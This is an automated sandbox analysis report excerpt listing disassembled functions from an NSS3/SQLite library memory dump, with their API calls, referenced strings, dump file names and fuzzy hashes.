isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CC6536F,00000022,?,?,00000000,?), ref: 6CC64E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CC64F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CC64F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CC64FAE
free.MOZGLUE(?), ref: 6CC64FC8

Strings

%s=%c%s%c, xrefs: 6CC64FA9
%s=%s, xrefs: 6CC64F89

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 4a5c8c6d3cc764a4d004db8956d88e325360b90c3b79c4c52264c10033cb58c7
Instruction ID: db2710aee2a8151740a7c73de04e8016710335e35bc95e957ae8fd6319ea7f07
Opcode Fuzzy Hash: 4a5c8c6d3cc764a4d004db8956d88e325360b90c3b79c4c52264c10033cb58c7
Instruction Fuzzy Hash: 1F512731A052458BEB01CA6B86F07FFBBF5AF46348F188166E894A7F41F32598458792

Function 6CBA7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBA7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBA7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CBA7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBA7F2E

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBA7ED8, 6CBA7F08, 6CBA7F19
%s at line %d of [%.10s], xrefs: 6CBA7EE7, 6CBA7F28
database corruption, xrefs: 6CBA7EE2, 6CBA7F23

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: a506757f17366d258bf9b468a10e97d7c21c49b113ebf3bda1bf397361b14a10
Instruction ID: ada2be848f83584d54508e09e7604420ec2a78dd35c57c3165ae1700994111b3
Opcode Fuzzy Hash: a506757f17366d258bf9b468a10e97d7c21c49b113ebf3bda1bf397361b14a10
Instruction Fuzzy Hash: 7461D474A0C2859FDB04CFA4C890B6A37BAFF45304F1449A8EC486BB56D771EC46CBA1

Function 6CB8FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB8FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB8FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB8FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB8FE83

Part of subcall function 6CB8FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CB8FEFA
Part of subcall function 6CB8FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CB8FF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB8FD64, 6CB8FE26
%s at line %d of [%.10s], xrefs: 6CB8FD73, 6CB8FE35
database corruption, xrefs: 6CB8FD6E, 6CB8FE30

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 2b8e7c9f5bfa69b24000a011ee20e7e9fffd486671130b407f6f7e3cbc0f94a0
Instruction ID: 943176d0e953aef8242c317dac67f45c7a26174d326f53ceeb50b5f74cd36662
Opcode Fuzzy Hash: 2b8e7c9f5bfa69b24000a011ee20e7e9fffd486671130b407f6f7e3cbc0f94a0
Instruction Fuzzy Hash: DC51AC70A01255DFDB04CFA9D8D0AAEB7B1FF48308F144069EA05ABB52E730EC54CBA1

Function 6CC3ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CC3ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC3AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC3AD23

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC3AD39

Strings

hSession = 0x%x, xrefs: 6CC3ACFE, 6CC3AD0E
(CK_INVALID_HANDLE), xrefs: 6CC3AD1C
C_MessageDecryptFinal, xrefs: 6CC3ACE1

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 0d333cced6f00888d3152b75250c08e48a7690003820e2f00edcf31b0c40e984
Instruction ID: 1975120b6542bef3384ee4960a58d06478248bcf0dc2c1b5c25a7b68837aca3b
Opcode Fuzzy Hash: 0d333cced6f00888d3152b75250c08e48a7690003820e2f00edcf31b0c40e984
Instruction Fuzzy Hash: 0121F870600164AFFF01DBA5FC88B7A3379AB8274DF040065E60D97A61EB389819C7A2

Function 6CC18CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CC2124D,00000001), ref: 6CC18D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CC2124D,00000001), ref: 6CC18D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CC2124D,00000001), ref: 6CC18D73
PR_Unlock.NSS3(?,?,?,?,?,6CC2124D,00000001), ref: 6CC18D8C

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

PR_Unlock.NSS3(?,?,?,?,?,6CC2124D,00000001), ref: 6CC18DBA

Strings

KRAM, xrefs: 6CC18CF9
KRAM, xrefs: 6CC18D3E

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: d3ecf5b1ba5d6205da096f880d43d6d290664061582e6021acbef0dff63ccde9
Instruction ID: 568a9048dbbe833adbd0bb8cb859e0d524a251250648e7993ac66513b06a33aa
Opcode Fuzzy Hash: d3ecf5b1ba5d6205da096f880d43d6d290664061582e6021acbef0dff63ccde9
Instruction Fuzzy Hash: 8D2194B5A1C7028FDB00EF7AC48455AB7F4FF45314F1689AAD99887B01E734D842CB91

Function 6CD10ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CD10EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CD10EFA

Part of subcall function 6CBFAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CBFAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CD10ED9, 6CD10EE5, 6CD10F06, 6CD10F0B
Aborting, xrefs: 6CD10EB3

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: efbbbb894daa775c787631fa77adbd8a9812b62c8661b44434d2a1f6a175dc40
Instruction ID: 482b49c458f473ad21b900382f5cc934b1546a633bc8d948a88940c82958fff2
Opcode Fuzzy Hash: efbbbb894daa775c787631fa77adbd8a9812b62c8661b44434d2a1f6a175dc40
Instruction Fuzzy Hash: 9E01D6B5900104BBEF11AF54EC45C9B3F7DEF873A4B414025FE0987B21D635E92087A2

Function 6CCD4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCD4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCD4DE0

Strings

invalid, xrefs: 6CCD4DB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCD4DCB
%s at line %d of [%.10s], xrefs: 6CCD4DDA
misuse, xrefs: 6CCD4DD5
API call with %s database connection pointer, xrefs: 6CCD4DBD

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: f4f5564064872374f13d5664ecab1a4e90d980ac5fd8c3f1438d395d436ba484
Instruction ID: cc29a333489c7ac9cbc137c8bbeb2f2161b5da49b7f5dff18572dd152354836d
Opcode Fuzzy Hash: f4f5564064872374f13d5664ecab1a4e90d980ac5fd8c3f1438d395d436ba484
Instruction Fuzzy Hash: 40F02411F145782BEB008B55CC12F8633555F13718F0719E0EF087BEA2E215B848C280

Function 6CCD4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCD4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCD4E4D

Strings

invalid, xrefs: 6CCD4E25
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCD4E38
%s at line %d of [%.10s], xrefs: 6CCD4E47
misuse, xrefs: 6CCD4E42
API call with %s database connection pointer, xrefs: 6CCD4E2A

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 9d63300773a18ec283e271515ef23b508254cf470470d2e639442bbe370fac2d
Instruction ID: 4d7110c7ec42c6ef15791f42d2a57f54dce867eeb323d72299fa5418473adbbe
Opcode Fuzzy Hash: 9d63300773a18ec283e271515ef23b508254cf470470d2e639442bbe370fac2d
Instruction Fuzzy Hash: 0AF05211F4483ABBFA108361CC10F86B3854B03329F0B84A2EB0C37EA2E605A8288291

Function 6CC09FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC0A086
EnterCriticalSection.KERNEL32(?), ref: 6CC0A09B
PR_Unlock.NSS3(?), ref: 6CC0A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC0A0E9
TlsGetValue.KERNEL32 ref: 6CC0A11B
EnterCriticalSection.KERNEL32(?), ref: 6CC0A12F
PR_Unlock.NSS3(?), ref: 6CC0A148

Part of subcall function 6CC21A40: PR_Now.NSS3(?,00000000,6CC028AD,00000000,?,6CC1F09A,00000000,6CC028AD,6CC093B0,?,6CC093B0,6CC028AD,00000000,?,00000000), ref: 6CC21A65

Part of subcall function 6CC21940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CC24126,?), ref: 6CC21966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC0A1A3

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 1779a8e0c98cc2b0ca3085b81597555fbbb4cc1da6b11da8780a48f2eea106ab
Instruction ID: eb7b4470643540c1624c140810ad39111f55af192dd835d4a690a314bccb35b5
Opcode Fuzzy Hash: 1779a8e0c98cc2b0ca3085b81597555fbbb4cc1da6b11da8780a48f2eea106ab
Instruction Fuzzy Hash: 4651D7B1B002059BEB109F7ACC44AAB77B9AFC634CF154529DD19D7B01FB32D846C6A1

Function 6CC40C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CC41444,?,00000001,?,00000000,00000000,?,?,6CC41444,?,?,00000000,?,?), ref: 6CC40CB3

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CC41444,?,00000001,?,00000000,00000000,?,?,6CC41444,?), ref: 6CC40DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CC41444,?,00000001,?,00000000,00000000,?,?,6CC41444,?), ref: 6CC40DEC

Part of subcall function 6CC60F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CC02AF5,?,?,?,?,?,6CC00A1B,00000000), ref: 6CC60F1A
Part of subcall function 6CC60F10: malloc.MOZGLUE(00000001), ref: 6CC60F30
Part of subcall function 6CC60F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC60F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CC41444,?,00000001,?,00000000,00000000,?), ref: 6CC40DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CC41444,?,00000001,?,00000000), ref: 6CC40E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CC41444,?,00000001,?,00000000,00000000,?), ref: 6CC40E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CC41444,?,00000001,?,00000000,00000000,?,?,6CC41444,?,?,00000000), ref: 6CC40E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CC41444,?,00000001,?,00000000,00000000,?), ref: 6CC40E79

Part of subcall function 6CC51560: TlsGetValue.KERNEL32(00000000,?,6CC20844,?), ref: 6CC5157A
Part of subcall function 6CC51560: EnterCriticalSection.KERNEL32(?,?,?,6CC20844,?), ref: 6CC5158F
Part of subcall function 6CC51560: PR_Unlock.NSS3(?,?,?,?,6CC20844,?), ref: 6CC515B2

Part of subcall function 6CC1B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CC21397,00000000,?,6CC1CF93,5B5F5EC0,00000000,?,6CC21397,?), ref: 6CC1B1CB
Part of subcall function 6CC1B1A0: free.MOZGLUE(5B5F5EC0,?,6CC1CF93,5B5F5EC0,00000000,?,6CC21397,?), ref: 6CC1B1D2

Part of subcall function 6CC189E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CC188AE,-00000008), ref: 6CC18A04
Part of subcall function 6CC189E0: EnterCriticalSection.KERNEL32(?), ref: 6CC18A15
Part of subcall function 6CC189E0: memset.VCRUNTIME140(6CC188AE,00000000,00000132), ref: 6CC18A27
Part of subcall function 6CC189E0: PR_Unlock.NSS3(?), ref: 6CC18A35

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 3df4208873e0e9a7acf17c7223bd4a76e66239d0918054563cbc3be373d1a381
Instruction ID: d8947f1fad6e2c3b708ca16a63dbe93a78f7fb491204f6a14d197251ce2dfb3a
Opcode Fuzzy Hash: 3df4208873e0e9a7acf17c7223bd4a76e66239d0918054563cbc3be373d1a381
Instruction Fuzzy Hash: 3451D7F6E002005FEB009F69DC81EBB37A8AF5521CF558464EC0597B12FB35ED2986A2

Function 6CBF6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CBF6ED8
sqlite3_value_text.NSS3(?,?), ref: 6CBF6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CBF6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CBF6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CBF6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CBF7010
sqlite3_value_blob.NSS3(?,?), ref: 6CBF701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CBF7052

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: acc761d205d7e8644b39090946f42d9e1fea74109150024ea86dbeb00333c97a
Instruction ID: 4e86d047e0727f411f2e507dfa22890edae0f3b2ef53f78d3424f875fee50e54
Opcode Fuzzy Hash: acc761d205d7e8644b39090946f42d9e1fea74109150024ea86dbeb00333c97a
Instruction Fuzzy Hash: 2361A2B1E142858FEF00CF68C8407EEB7B2AF45308F184165D825ABB51E7729D1BCB91

Function 6CC68F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CC67313), ref: 6CC68FBB

Part of subcall function 6CC607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CC08298,?,?,?,6CBFFCE5,?), ref: 6CC607BF
Part of subcall function 6CC607B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC607E6
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC6081B
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC60825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CC67313), ref: 6CC69012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CC67313), ref: 6CC6903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CC67313), ref: 6CC6909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CC67313), ref: 6CC690DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CC67313), ref: 6CC690F1

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

